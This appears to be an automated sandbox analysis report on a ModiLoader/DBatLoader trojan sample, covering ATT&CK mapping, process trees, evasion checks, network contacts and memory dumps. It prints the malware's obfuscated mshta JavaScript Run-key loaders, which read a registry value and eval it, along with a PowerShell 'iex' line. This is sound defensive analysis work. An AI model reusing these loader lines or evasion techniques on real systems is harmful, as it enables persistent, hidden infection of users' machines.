Malware Analysis Report

2024-08-06 14:18

Sample ID 240618-jpe9hstfld
Target ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118
SHA256 62b33d9024e2987cb8326827b9fddbc81c74f8bf10abdc8ea7ff7325d3646e66
Tags
modiloader evasion persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

62b33d9024e2987cb8326827b9fddbc81c74f8bf10abdc8ea7ff7325d3646e66

Threat Level: Known bad

The file ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

modiloader evasion persistence trojan

Process spawned unexpected child process

ModiLoader, DBatLoader

Looks for VirtualBox drivers on disk

Looks for VirtualBox Guest Additions in registry

ModiLoader Second Stage

Checks for common network interception software

Looks for VMWare Tools registry key

Checks BIOS information in registry

Drops startup file

Deletes itself

Maps connected drives based on registry

Adds Run key to start application

Drops file in System32 directory

Suspicious use of SetThreadContext

Enumerates physical storage devices

Unsigned PE

Suspicious use of AdjustPrivilegeToken

Modifies Internet Explorer settings

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Modifies registry class

Suspicious behavior: MapViewOfSection

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Boot or Logon Autostart Execution
T1547
Registry Run Keys / Startup Folder
T1547.001
Privilege Escalation
TA0004
Boot or Logon Autostart Execution
T1547
Registry Run Keys / Startup Folder
T1547.001
Defense Evasion
TA0005
Virtualization/Sandbox Evasion
T1497
Modify Registry
T1112
Credential Access
TA0006
Discovery
TA0007
Software Discovery
T1518
Query Registry
T1012
Virtualization/Sandbox Evasion
T1497
File and Directory Discovery
T1083
System Information Discovery
T1082
Peripheral Device Discovery
T1120
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-06-18 07:50

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-18 07:50

Reported

2024-06-18 07:52

Platform

win10v2004-20240611-en

Max time kernel

148s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118.exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
BE 88.221.83.192:443 www.bing.com tcp
US 8.8.8.8:53 69.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 152.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 192.83.221.88.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 57.15.31.184.in-addr.arpa udp
US 8.8.8.8:53 30.243.111.52.in-addr.arpa udp

Files

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-18 07:50

Reported

2024-06-18 07:53

Platform

win7-20240611-en

Max time kernel

150s

Max time network

154s

Command Line

"C:\Users\Admin\AppData\Local\Temp\ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

Checks for common network interception software

evasion

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Windows\SysWOW64\regsvr32.exe N/A

Looks for VirtualBox drivers on disk

evasion
Description Indicator Process Target
File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys C:\Windows\SysWOW64\regsvr32.exe N/A

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Windows\SysWOW64\regsvr32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c2667d.lnk C:\Windows\SysWOW64\regsvr32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:gKn7kL=\"Zp\";te4=new%20ActiveXObject(\"WScript.Shell\");X8YqEa7Ed=\"N\";Y1xPO=te4.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\gogk\\\\evllmxkwe\");p7ljGbYW=\"c\";eval(Y1xPO);FV0zzWH=\"UpcKV\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:duGF6pm8=\"PVKPXA\";aO4=new%20ActiveXObject(\"WScript.Shell\");rR0PNps4=\"iH5n65X\";S0hFp=aO4.RegRead(\"HKCU\\\\software\\\\gogk\\\\evllmxkwe\");JRmR4uts=\"6xu\";eval(S0hFp);IVX5Y5k=\"V\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\bfede1\\0c9e8c.lnk\"" C:\Windows\SysWOW64\regsvr32.exe N/A

Maps connected drives based on registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Windows\SysWOW64\regsvr32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Windows\SysWOW64\regsvr32.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2944 set thread context of 2352 N/A C:\Users\Admin\AppData\Local\Temp\ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118.exe
PID 2512 set thread context of 924 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 924 set thread context of 1456 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Internet Explorer\International C:\Windows\SysWOW64\regsvr32.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000_CLASSES\9199ff\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:dTn3B7=\"jP2rXIV\";A77R=new ActiveXObject(\"WScript.Shell\");T7YbI5=\"hl35O\";vBX5E=A77R.RegRead(\"HKCU\\\\software\\\\gogk\\\\evllmxkwe\");zMld5=\"FNIlq\";eval(vBX5E);bN7zZaZw=\"lK\";\"" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000_CLASSES\.4029e57 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000_CLASSES\.4029e57\ = "9199ff" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000_CLASSES\9199ff C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000_CLASSES\9199ff\shell C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000_CLASSES\9199ff\shell\open C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000_CLASSES\9199ff\shell\open\command C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2944 wrote to memory of 2352 N/A C:\Users\Admin\AppData\Local\Temp\ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118.exe
PID 2944 wrote to memory of 2352 N/A C:\Users\Admin\AppData\Local\Temp\ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118.exe
PID 2944 wrote to memory of 2352 N/A C:\Users\Admin\AppData\Local\Temp\ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118.exe
PID 2944 wrote to memory of 2352 N/A C:\Users\Admin\AppData\Local\Temp\ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118.exe
PID 2944 wrote to memory of 2352 N/A C:\Users\Admin\AppData\Local\Temp\ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118.exe
PID 2944 wrote to memory of 2352 N/A C:\Users\Admin\AppData\Local\Temp\ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118.exe
PID 2944 wrote to memory of 2352 N/A C:\Users\Admin\AppData\Local\Temp\ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118.exe
PID 2944 wrote to memory of 2352 N/A C:\Users\Admin\AppData\Local\Temp\ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118.exe
PID 2944 wrote to memory of 2352 N/A C:\Users\Admin\AppData\Local\Temp\ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118.exe
PID 2368 wrote to memory of 2512 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2368 wrote to memory of 2512 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2368 wrote to memory of 2512 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2368 wrote to memory of 2512 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2512 wrote to memory of 924 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2512 wrote to memory of 924 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2512 wrote to memory of 924 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2512 wrote to memory of 924 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2512 wrote to memory of 924 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2512 wrote to memory of 924 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2512 wrote to memory of 924 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2512 wrote to memory of 924 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 924 wrote to memory of 1456 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 924 wrote to memory of 1456 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 924 wrote to memory of 1456 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 924 wrote to memory of 1456 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 924 wrote to memory of 1456 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 924 wrote to memory of 1456 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 924 wrote to memory of 1456 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 924 wrote to memory of 1456 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118.exe

C:\Users\Admin\AppData\Local\Temp\ba8dd5eacf990e08bd61dbbc89328600_JaffaCakes118.exe

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:Rj0x4J="XD";eb7=new%20ActiveXObject("WScript.Shell");dMN3I="xb";k0boN=eb7.RegRead("HKLM\\software\\Wow6432Node\\B0EpSZ\\bOaPm2aDJ");snqL05="wTkcq";eval(k0boN);VLZV0q="z";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:kfdurka

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country Destination Domain Proto
US 55.122.174.59:80 tcp
N/A 10.80.142.109:80 tcp
VE 38.166.42.171:443 tcp
US 67.74.108.232:80 tcp
DE 53.232.57.104:80 tcp
TW 203.73.214.35:80 tcp
IE 34.250.69.23:80 tcp
BR 189.25.218.40:443 tcp
GB 25.66.226.81:8080 tcp
PY 186.16.146.151:80 tcp
CA 142.153.175.87:80 tcp
SA 37.127.99.229:80 tcp
DE 193.128.49.191:80 tcp
US 156.91.13.72:80 tcp
DE 2.58.39.163:80 tcp
TW 219.84.147.90:80 tcp
ZA 41.85.230.24:80 tcp
US 129.250.206.177:80 tcp
ZA 41.117.126.218:80 tcp
IE 83.71.56.69:80 tcp
CN 113.243.224.11:443 tcp
CN 111.148.10.220:80 tcp
TN 197.7.198.252:80 tcp
BE 94.226.243.67:80 tcp
BR 191.173.165.185:80 tcp
US 162.172.102.20:80 tcp
US 64.208.16.186:80 tcp
US 132.192.201.70:443 tcp
JP 60.193.183.95:443 tcp
US 108.82.186.136:80 tcp
US 97.151.44.143:443 tcp
IN 220.226.157.41:80 tcp
AR 186.127.252.161:80 tcp
TW 103.100.167.87:80 tcp
JP 126.76.163.87:80 tcp
CA 142.96.179.19:80 tcp
US 72.130.237.254:8080 tcp
US 16.90.52.37:80 tcp
N/A 127.249.243.169:80 tcp
SG 8.175.149.48:80 tcp
DE 53.234.60.7:80 tcp
US 54.81.113.232:80 tcp
US 11.99.39.120:80 tcp
DE 217.253.180.18:80 tcp
US 198.112.42.213:443 tcp
US 99.42.63.60:80 tcp
SG 43.30.242.47:80 tcp
US 129.190.122.65:80 tcp
BR 135.3.15.254:80 tcp
BE 37.185.215.70:8080 tcp
US 131.85.65.157:443 tcp
US 137.27.148.161:80 tcp
US 172.228.113.83:80 tcp
TW 42.72.86.69:80 tcp
AU 104.99.225.86:80 tcp
US 140.83.197.70:80 tcp
US 214.113.107.6:8080 tcp
IN 13.233.188.76:8080 tcp
BR 18.229.185.44:80 tcp
DE 93.228.168.236:80 tcp
AR 200.59.204.146:80 tcp
HR 94.253.216.33:80 tcp
KE 105.26.243.162:80 tcp
GB 90.251.188.81:80 tcp
IT 93.65.105.62:80 tcp
US 38.24.197.138:80 tcp
KR 219.255.38.89:80 tcp
US 168.97.61.64:8080 tcp
TW 61.217.41.83:80 tcp
FR 92.157.225.162:80 tcp
DE 161.71.69.127:8080 tcp
TN 165.51.26.3:443 tcp
DE 84.247.185.210:80 tcp
CN 101.54.219.27:80 tcp
US 56.96.140.252:80 tcp
NZ 203.167.133.101:80 tcp
US 130.150.166.111:80 tcp
KR 49.10.69.129:80 tcp
FR 81.53.59.70:8080 tcp
GB 31.114.130.5:80 tcp
US 214.97.114.162:80 tcp
CN 103.201.183.158:80 tcp
CN 114.81.122.168:80 tcp
US 35.54.6.96:80 tcp
US 72.47.10.81:80 tcp
US 13.90.49.57:80 tcp
US 207.181.88.173:80 tcp
RU 92.125.56.27:80 tcp
US 56.245.111.108:80 tcp
JP 126.147.127.116:8080 tcp
BR 200.174.244.64:80 tcp
US 16.137.31.230:80 tcp
US 17.122.145.227:80 tcp
US 72.37.60.38:80 tcp
US 96.87.44.71:80 tcp
US 4.135.196.128:80 tcp
CN 121.57.5.68:443 tcp
US 164.120.33.216:80 tcp
US 170.142.84.226:80 tcp
US 21.108.18.252:8080 tcp
FR 176.140.235.53:80 tcp
CA 199.43.248.152:80 tcp
US 128.97.26.114:80 tcp
FR 77.198.174.55:80 tcp
US 34.211.108.112:80 tcp
US 34.173.104.5:80 tcp
CN 119.39.164.177:80 tcp
JP 60.76.59.92:80 tcp
NL 144.44.157.4:80 tcp
BR 186.241.204.174:8080 tcp
JP 150.43.255.75:80 tcp
DE 154.15.176.49:80 tcp
US 33.223.92.150:8080 tcp
CO 186.87.154.73:80 tcp
BR 168.228.27.119:80 tcp
US 15.29.151.192:8080 tcp
JP 153.129.25.242:443 tcp
US 9.251.115.35:80 tcp
US 198.94.90.241:8080 tcp
TN 102.169.109.33:80 tcp
AR 190.122.64.108:80 tcp
US 205.50.49.97:80 tcp

Files

memory/2352-0-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2352-10-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2352-13-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2352-12-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2352-6-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2352-4-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2352-8-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2352-2-0x0000000000400000-0x000000000043A000-memory.dmp

memory/2352-14-0x0000000001E20000-0x0000000001EF6000-memory.dmp

memory/2352-17-0x0000000001E20000-0x0000000001EF6000-memory.dmp

memory/2352-18-0x0000000001E20000-0x0000000001EF6000-memory.dmp

memory/2352-16-0x0000000001E20000-0x0000000001EF6000-memory.dmp

memory/2352-15-0x0000000001E20000-0x0000000001EF6000-memory.dmp

memory/2352-19-0x0000000001E20000-0x0000000001EF6000-memory.dmp

memory/2352-20-0x0000000001E20000-0x0000000001EF6000-memory.dmp

memory/2512-30-0x0000000005CC0000-0x0000000005D96000-memory.dmp

memory/924-38-0x0000000000260000-0x00000000003A1000-memory.dmp

memory/924-42-0x0000000000260000-0x00000000003A1000-memory.dmp

memory/924-45-0x0000000000260000-0x00000000003A1000-memory.dmp

memory/924-53-0x0000000000260000-0x00000000003A1000-memory.dmp

memory/924-57-0x0000000000260000-0x00000000003A1000-memory.dmp

memory/924-74-0x0000000000260000-0x00000000003A1000-memory.dmp

memory/924-65-0x0000000000260000-0x00000000003A1000-memory.dmp

memory/924-64-0x0000000000260000-0x00000000003A1000-memory.dmp

memory/924-63-0x0000000000260000-0x00000000003A1000-memory.dmp

memory/924-62-0x0000000000260000-0x00000000003A1000-memory.dmp

memory/2512-33-0x0000000002740000-0x0000000004740000-memory.dmp

memory/924-73-0x0000000000260000-0x00000000003A1000-memory.dmp

memory/924-36-0x0000000000260000-0x00000000003A1000-memory.dmp

memory/924-56-0x0000000000260000-0x00000000003A1000-memory.dmp

memory/924-55-0x0000000000260000-0x00000000003A1000-memory.dmp

memory/924-54-0x0000000000260000-0x00000000003A1000-memory.dmp

memory/924-52-0x0000000000260000-0x00000000003A1000-memory.dmp

memory/1456-80-0x00000000001E0000-0x0000000000321000-memory.dmp

memory/1456-85-0x00000000001E0000-0x0000000000321000-memory.dmp

memory/1456-84-0x00000000001E0000-0x0000000000321000-memory.dmp

memory/1456-83-0x00000000001E0000-0x0000000000321000-memory.dmp

memory/1456-82-0x00000000001E0000-0x0000000000321000-memory.dmp

memory/1456-81-0x00000000001E0000-0x0000000000321000-memory.dmp

memory/924-51-0x0000000000260000-0x00000000003A1000-memory.dmp

memory/924-50-0x0000000000260000-0x00000000003A1000-memory.dmp

memory/924-49-0x0000000000260000-0x00000000003A1000-memory.dmp

memory/924-48-0x0000000000260000-0x00000000003A1000-memory.dmp

memory/924-47-0x0000000000260000-0x00000000003A1000-memory.dmp

memory/924-46-0x0000000000260000-0x00000000003A1000-memory.dmp

memory/924-44-0x0000000000260000-0x00000000003A1000-memory.dmp

memory/924-43-0x0000000000260000-0x00000000003A1000-memory.dmp

memory/924-32-0x0000000000260000-0x00000000003A1000-memory.dmp

memory/924-41-0x0000000000260000-0x00000000003A1000-memory.dmp

memory/924-40-0x0000000000260000-0x00000000003A1000-memory.dmp

memory/924-39-0x0000000000260000-0x00000000003A1000-memory.dmp

memory/924-37-0x0000000000260000-0x00000000003A1000-memory.dmp

memory/924-35-0x0000000000260000-0x00000000003A1000-memory.dmp

